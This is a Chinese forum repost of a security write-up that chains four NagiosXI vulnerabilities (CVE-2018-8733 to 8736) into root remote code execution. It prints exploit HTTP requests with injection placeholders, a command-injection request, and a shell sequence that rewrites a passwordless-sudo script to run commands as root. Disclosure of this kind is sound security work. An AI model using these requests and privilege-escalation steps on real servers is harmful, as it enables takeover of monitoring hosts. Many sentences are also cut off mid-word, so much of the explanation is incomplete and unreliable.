登录

CVE-2018-873X组合拳：深入分析NagiosXI漏洞链

mss**** / 2018-05-03 15:51:42 / 浏览数 4648 技术文章 技术文章 顶(0) 踩(0)

原文：http://blog.redactedsec.net/exploits/2018/04/26/nagios.html

摘要

在NagiosXI中，我们发现了四个漏洞，这本不足为奇，然而，如果将它们链接在一起的话，却可以构造出一个root级别RCE漏洞，具体利用代码可在此处找到。换句话说，

在对应用程序的漏洞进行安全评估的过程中，有时候需要在安全报告中评估漏洞的严重程度，比如"由于只能通过y漏洞进行x操作，所以该漏洞很可能无需进行修复"。实际上

漏洞链接就是将多个漏洞组合使用，从而实现一个超越链中任何单个漏洞的危害程度的高危漏洞的过程。这里提供了一个关于漏洞链接技术的优秀示例。此外，Offensive Security提供的AWAE培训基本上就是一个漏洞链接方面的课程。另一个漏洞链方面的例子，就是下文将要详细讲解的NagiosXI root级别RCE漏洞。

这里的Nagios XI漏洞是通过链接四个漏洞来实现的：

- CVE-2018-8734 —— SQL注入漏洞
- CVE-2018-8733 —— 认证绕过漏洞
- CVE-2018-8735 —— 命令注入漏洞
- CVE-2018-8736 —— 特权提升漏洞

首先需要说明的是，这里涉及的各个漏洞都是相互独立的，接下来，我们将为读者介绍如何将这些Web应用程序的漏洞链接起来，从而在NagiosXI应用程序服务器上实现一

https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova

相应的漏洞利用代码，参见下列地址：

https://www.exploit-db.com/exploits/44560/

CVE-2018-8734 —— SQL注入(未认证)

当发送未认证的`html GET <nagiosxi_host>/nagiosql/admin/helpedit.php`请求时，会返回一个含有302响应码的应答，该代码会将其重定向回/nagiosql/index.php。在浏览器中，Web应
Auth方式进行认证，这没有什么不正常的，但是通过拦截Web代理并查看响应内容，我们发现其中含有一个适合用于做突破口的表单。快速浏览该表单后，我们发现如下所

```
POST /nagiosql/admin/helpedit.php HTTP/1.1
Host: <nagiosxi_host>
Content-Type: application/x-www-form-urlencoded

selInfoKey1=SQLI_PAYLOAD&hidKey1=common&selInfoKey2=&hidKey2=free_variables_name&selInfoVersion=&hidVersion=&taContent=&modus=
```

由于我们对该应用程序进行的是白盒测试，因此，可以检查数据库日志来找出注入漏洞的准确位置（对于这类白盒SQLi技术感兴趣的读者，可进一步参阅这篇文章）。在对

[+] 这是一个未认证的SQL注入漏洞！

[-] 数据库用户没有足够的权限来执行我们感兴趣的操作。

CVE-2018-8733 —— 认证绕过漏洞

这个漏洞的CVE描述可能是误导性的，因为我们无法利用这个漏洞全面绕过身份验证。相反，与前面讨论的CVE的情况类似，即对```html

<nagiosxi_host> /nagiosql/admin/settings.php</nagiosxi_host>

```html
POST /nagiosql/admin/settings.php HTTP/1.1
Host: <nagiosxi_host>
Content-Type: application/x-www-form-urlencoded

txtRootPath=nagiosql%2F&txtBasePath=%2Fvar%2Fwww%2Fhtml%2Fnagiosql%2F&selProtocol=http&txtTempdir=%2Ftmp&selLanguage=en_GB&txt
```

在这里，我们关注的不是注入漏洞，相反，对我们来说重要的是能够设置数据库用户帐户。如果我们可以使用该表单为nagiosql
db用户获取更多权限，那么就意味着以前的SQLi攻击所无权访问的数据库内容，现在就有可能访问了。事实证明，我们的确可以做到这一点；设备的ssh凭证默认设置为roo

[+]我们可以修改数据库用户帐户！

[+]我们可以破坏应用程序配置从而导致拒绝服务（DoS）攻击！

[-]如果单独利用这个漏洞的话，最多只能发动DoS攻击。

CVE-2018-8735 —— 命令注入（已认证）

这个命令注入漏洞主要是通过分析应用程序.php文件源代码而发现的。这对我们很有用，一则受它影响的NagiosXI版本范围广，二则它是以用户'nagiosxi'（而不是'apache

```
POST /nagiosxi/backend/index.php HTTP/1.1
Host: 10.20.1.179
Content-Type: application/x-www-form-urlencoded
Cookie: nagiosxi=eb8pa9098grmgummu2pnofq3f5
Content-Length: 66

cmd=submitcommand&command=1111&command_data=$(your_command_here)
```

这些POST请求会收到一些应答，因此，不建议直接进行命令注入：

```
<?xml version="1.0" encoding="utf-8"?>
<result>
<code>0</code>
<message>OK</message>
<command_id>12</command_id>
</result>
```

但是，别忘了我们进行的是白盒测试，所以可以直接将文件放到/tmp目录，然后进行相应的验证：

```
[root@nagiosxi_host tmp]# ls -l
...
-rw-r--r--  1 nagios nagios       0 Apr 13 02:21 testing
...
```

[+] 我们可以注入命令！

[-] 已通过身份验证，并且需要管理员级别的授权。

CVE-2018-8736 —— 本地权限提升

最后，我们需要寻找一些本地权限提升漏洞，原因吗，不说大家也知道的。一般来说，在linux环境下查找本地权限提升漏洞时，首当其冲的就是sudoers文件。以下内容摘自

```
...
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/html/includes/components/profile/getprofile.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/upgrade_to_latest.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/change_timezone.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/manage_services.sh *
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/reset_config_perms.sh
NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/backup_xi.sh *
...
```

这正是我们感兴趣的，特别是，如果这些文件的文件权限允许对nagiosxi用户执行写操作的话，则可以：

```
[root@nagiosxi_host ]# ls -l /usr/local/nagiosxi/scripts/
...
-rwxr-xr-x 1 nagios nagios   1664 Dec 28  2016 change_timezone.sh
-rwxr-xr-x 1 nagios nagios   2303 Dec 28  2016 manage_services.sh
-rwxr-xr-x 1 nagios nagios   2681 Dec 28  2016 upgrade_to_latest.sh
-rwxr-xr-x 1 nagios nagios   1010 Dec 28  2016 reset_config_perms.sh
-rwxr-xr-x 1 nagios nagios   5673 Dec 28  2016 backup_xi.sh
...
```

所以，这就是一个本地权限提升的例子。为此，只需将nagiosxi用户需要以root用户身份执行的所有命令都放到出现在sudoers文件中的某个脚本中，然后通过无需密码的su

[+] 这是本地权限提升漏洞！用户nagiosxi可以非常轻松地升级为root权限。

[-] 这是本地权限提升漏洞，并且任何以nagiosxi身份执行命令的人都会变身为系统管理用户。

漏洞组合拳！

对于上面这几个漏洞，如果单兵作战的话，是掀不起什么大风大浪的：虽然可以修改一些未认证的应用程序参数，但这顶多可以用来拿下应用程序本身；可以利用SQLi漏洞

如果要了解相关细节的话，最好直接查看漏洞利用代码；但是现在，我们先来了解一下一般步骤：

第0步：检查nagios的版本 ——
上面介绍的所有漏洞都适用于NagiosXI的5.2.6至5.4版本；此外，我们可以从<nagiosxi_host>/nagiosxi/login.php中解析相应的版本字符串。</nagiosxi_host>

第1步：利用CVE-2018-8733漏洞将数据库用户改为root用户 ——
我们可以将nagiosql数据库用户改为root用户，以授予其足够的权限来访问nagiosxi的认证数据。

第2步：利用SQLi访问API密钥 ——
现在，数据库用户已经拥有了足够的权限，我们使用CVE-2018-8734漏洞执行SQL注入，以返回系统中所有唯一的API密钥。该应用程序似乎将一个管理API密钥存储到了数

第3步：使用API密钥添加管理用户 —— 如果您拥有适当的API密钥的话，那么这就称不上漏洞了，只是一个可用于添加管理用户的API而已。

第4步：登录 —— 既然已经拥有系统的管理账户，自然就可以顺利登录系统了。现在，我们已经有效地绕过了针对应用程序的nagiosxi部分的身份验证了。

第5步：注入命令+提升权限 ——
这里，我们通过CVE-2018-8735（命令注入漏洞）来执行命令。一旦在应用服务器上获得了一个会话，就可以建立一个低权限的反向shell，然后再提升权限即可。但是，就

```
cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak &&
echo "{your_command_here}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh &&
mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh
```

这个脚本通过将所需命令放入/usr/local/nagiosxi/scripts/reset_config_perms.sh文件，然后使用无需密码的sudo命令调用该脚本来利用CVE-2018-8736漏洞。其中，第

小结

现在，我们已经大功告成了！
按照上述步骤，我们能够将四个漏洞（它们危害程度不同，而且会引发警告）转换为一个root级别的RCE漏洞，并且不会引起任何警告。通过这个案例，能给我们带来哪些

对于应用程序中存在的各种漏洞，我们不应该孤立地看待它们，至少应该从组合的角度重新加以审视。换句话说，如果不修复看似低风险的漏洞，可能导致非常严重的后果。

如果您当前运行的NagiosXI的版本号介于5.2.6到5.4.12之间的话，请不要犹豫，立即更新。

上一篇：未授权访问的tips 下一篇：从钓鱼样本到某大厂存储型XSS
1. 0 条回复
   - 动动手指，沙发就是你的了！